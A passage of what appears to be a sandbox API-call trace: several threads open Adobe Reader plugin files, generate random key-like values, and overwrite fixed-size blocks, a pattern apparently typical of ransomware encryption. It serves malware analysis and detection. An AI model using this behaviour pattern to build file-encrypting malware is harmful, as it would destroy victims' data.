_Dest=0x97cc430, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*" [0051.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06098 [0051.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0056.324] wcscmp (_String1=".", _String2=".") returned 0 [0056.325] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.325] wcscmp (_String1="..", _String2=".") returned 1 [0056.325] wcscmp (_String1="..", _String2="..") returned 0 [0056.325] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0056.325] wcscmp (_String1="Stamps", _String2=".") returned 1 [0056.325] wcscmp (_String1="Stamps", _String2="..") returned 1 [0056.325] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eea18 [0056.325] wcscpy (in: _Dest=0x4eea18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" [0056.325] wcscat (in: _Dest=0x4eea18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\" [0056.325] wcscat (in: _Dest=0x4eea18, _Source="Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0059.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4eea18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0059.819] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0059.819] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0059.819] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e06098) returned 1 [0059.819] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cc430) returned 1 [0059.819] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439d78) returned 1 Thread: id = 912 os_tid = 0x121c [0051.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api")) returned 0x20 [0057.542] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api", dwFileAttributes=0x20) returned 1 [0057.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x61c [0057.546] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x16c8f890 | out: lpFileSize=0x16c8f890*=6143587) returned 1 [0057.546] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5dbe5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.546] ReadFile (in: hFile=0x61c, lpBuffer=0x16c8f814, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16c8f810, lpOverlapped=0x0 | out: lpBuffer=0x16c8f814*, lpNumberOfBytesRead=0x16c8f810*=0x4, lpOverlapped=0x0) returned 1 [0057.548] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a10 [0057.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609e8 [0057.548] NtQuerySystemTime (in: CurrentTime=0x16c8f7f0 | out: CurrentTime=0x16c8f7f0*=132174898215252000) returned 0x0 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0xed4a277 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x28b3a462 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0xe9875a7 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x39d11d6d [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x9cbd823 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x11062446 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x273cdbf3 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x26f71911 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x28093d7e [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x497c163c [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x7ac0b612 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x398de693 [0057.548] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x7928e108 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x4d15330e [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x39fbf62d [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x23faec91 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x14eabe7e [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x20d74dee [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x39dde3af [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x5e73326e [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x4386d83d [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x4de741d [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x7ee7a601 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x5a141f88 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x59da4236 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x2c528576 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x346650aa [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x1ee06b46 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x245d3b5f [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x4b0656bb [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0x51075e94 [0057.549] RtlRandomEx (in: Seed=0x16c8f7fc | out: Seed=0x16c8f7fc) returned 0xbf08fc9 [0057.561] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.561] ReadFile (in: hFile=0x61c, lpBuffer=0x19660148, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x16c8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x19660148*, lpNumberOfBytesRead=0x16c8f7a8*=0xc800, lpOverlapped=0x0) returned 1 [0057.575] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0057.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608d0) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1966c950 [0057.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609e8 [0057.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609e8) returned 1 [0057.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.577] WriteFile (in: hFile=0x61c, lpBuffer=0x1966c950*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x16c8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x1966c950*, lpNumberOfBytesWritten=0x16c8f7a8*=0xc800, lpOverlapped=0x0) returned 1 [0061.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1966c950) returned 1 [0061.305] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2ee000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.307] ReadFile (in: hFile=0x61c, lpBuffer=0x19660148, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x16c8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x19660148*, lpNumberOfBytesRead=0x16c8f7a8*=0xc800, lpOverlapped=0x0) returned 1 [0061.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2ee000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c9d8 [0061.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4189b0 [0061.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9520 [0061.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9520) returned 1 [0061.310] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9666e78 [0061.311] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9520 [0061.311] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9548 [0061.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9548) returned 1 [0061.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 [0061.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c9d8) returned 1 [0061.311] WriteFile (in: hFile=0x61c, lpBuffer=0x9666e78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x16c8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x9666e78*, lpNumberOfBytesWritten=0x16c8f7a8*=0xc800, lpOverlapped=0x0) returned 1 [0065.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9666e78) returned 1 [0065.503] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5cf663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.503] ReadFile (hFile=0x61c, lpBuffer=0x19660148, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x16c8f7a8, lpOverlapped=0x0) Thread: id = 913 os_tid = 0x1220 [0051.966] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api")) returned 0x20 [0057.525] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api", dwFileAttributes=0x20) returned 1 [0057.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8e0 [0057.526] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x173cf820 | out: lpFileSize=0x173cf820*=861283) returned 1 [0057.526] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xd245f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.526] ReadFile (in: hFile=0x8e0, lpBuffer=0x173cf7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x173cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x173cf7a4*, lpNumberOfBytesRead=0x173cf7a0*=0x4, lpOverlapped=0x0) returned 1 [0057.527] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460880 [0057.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.527] NtQuerySystemTime (in: CurrentTime=0x173cf780 | out: CurrentTime=0x173cf780*=132174898215096000) returned 0x0 [0057.527] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x66423591 [0057.527] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0xafb7392 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x21c5f129 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x598ea13f [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x79191ba8 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x1e1a447e [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x77ccb185 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x298af8bc [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x140f255b [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x1c04c764 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x2bb1d7d9 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0xf678c89 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x37652687 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x7a782e92 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x5ca3fcee [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x23ea8e70 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x750c9363 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x7171d310 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x16ef5f5b [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x41f6e3b6 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x4c588f08 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x3c01973e [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x42f09dde [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x6e65fd6d [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x362f82f9 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x2cb62df [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x20150add [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x7227d49b [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x6ab81e1f [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x7ff50fa7 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x1c468bd5 [0057.528] RtlRandomEx (in: Seed=0x173cf78c | out: Seed=0x173cf78c) returned 0x4882ca27 [0057.540] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.540] ReadFile (in: hFile=0x8e0, lpBuffer=0x19647138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x173cf738, lpOverlapped=0x0 | out: lpBuffer=0x19647138*, lpNumberOfBytesRead=0x173cf738*=0xc800, lpOverlapped=0x0) returned 1 [0057.542] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0057.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0057.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19653940 [0057.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0057.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608d0) returned 1 [0057.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0057.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0057.544] WriteFile (in: hFile=0x8e0, lpBuffer=0x19653940*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x173cf738, lpOverlapped=0x0 | out: lpBuffer=0x19653940*, lpNumberOfBytesWritten=0x173cf738*=0xc800, lpOverlapped=0x0) returned 1 [0061.301] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19653940) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.301] ReadFile (in: hFile=0x8e0, lpBuffer=0x19647138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x173cf738, lpOverlapped=0x0 | out: lpBuffer=0x19647138*, lpNumberOfBytesRead=0x173cf738*=0xc800, lpOverlapped=0x0) returned 1 [0061.305] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c9d8 [0061.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4189b0 [0061.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94d0 [0061.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94d0) returned 1 [0061.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1966c950 [0061.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94d0 [0061.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0061.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94f8) returned 1 [0061.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4189b0) returned 1 [0061.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c9d8) returned 1 [0061.307] WriteFile (in: hFile=0x8e0, lpBuffer=0x1966c950*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x173cf738, lpOverlapped=0x0 | out: lpBuffer=0x1966c950*, lpNumberOfBytesWritten=0x173cf738*=0xc800, lpOverlapped=0x0) returned 1 [0065.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1966c950) returned 1 [0065.502] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xc5c63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.503] ReadFile (hFile=0x8e0, lpBuffer=0x19647138, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x173cf738, lpOverlapped=0x0) Thread: id = 914 os_tid = 0x1224 [0051.970] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api")) returned 0x20 [0057.495] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api", dwFileAttributes=0x20) returned 1 [0057.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x23c [0057.496] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0xd0bfac4 | out: lpFileSize=0xd0bfac4*=1433187) returned 1 [0057.496] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x15de5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.496] ReadFile (in: hFile=0x23c, lpBuffer=0xd0bfa48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd0bfa44, lpOverlapped=0x0 | out: lpBuffer=0xd0bfa48*, lpNumberOfBytesRead=0xd0bfa44*=0x4, lpOverlapped=0x0) returned 1 [0057.498] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0057.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608a8 [0057.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.498] NtQuerySystemTime (in: CurrentTime=0xd0bfa24 | out: CurrentTime=0xd0bfa24*=132174898214784000) returned 0x0 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x3cd42e0a [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x3a51df7e [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x760c5ed2 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x1d2e1e81 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x6d5b3294 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x1d8cf938 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x72036f0b [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x430e3549 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x67a806ee [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x76c02568 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x969263f [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x69146bcf [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x735b833b [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x5d2ec1f2 [0057.498] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x7c8a493d [0057.499] RtlRandomEx (in: Seed=0xd0bfa30 | out: Seed=0xd0bfa30) returned 0x2ecd5666 [0057.499] RtlRandomEx (in: 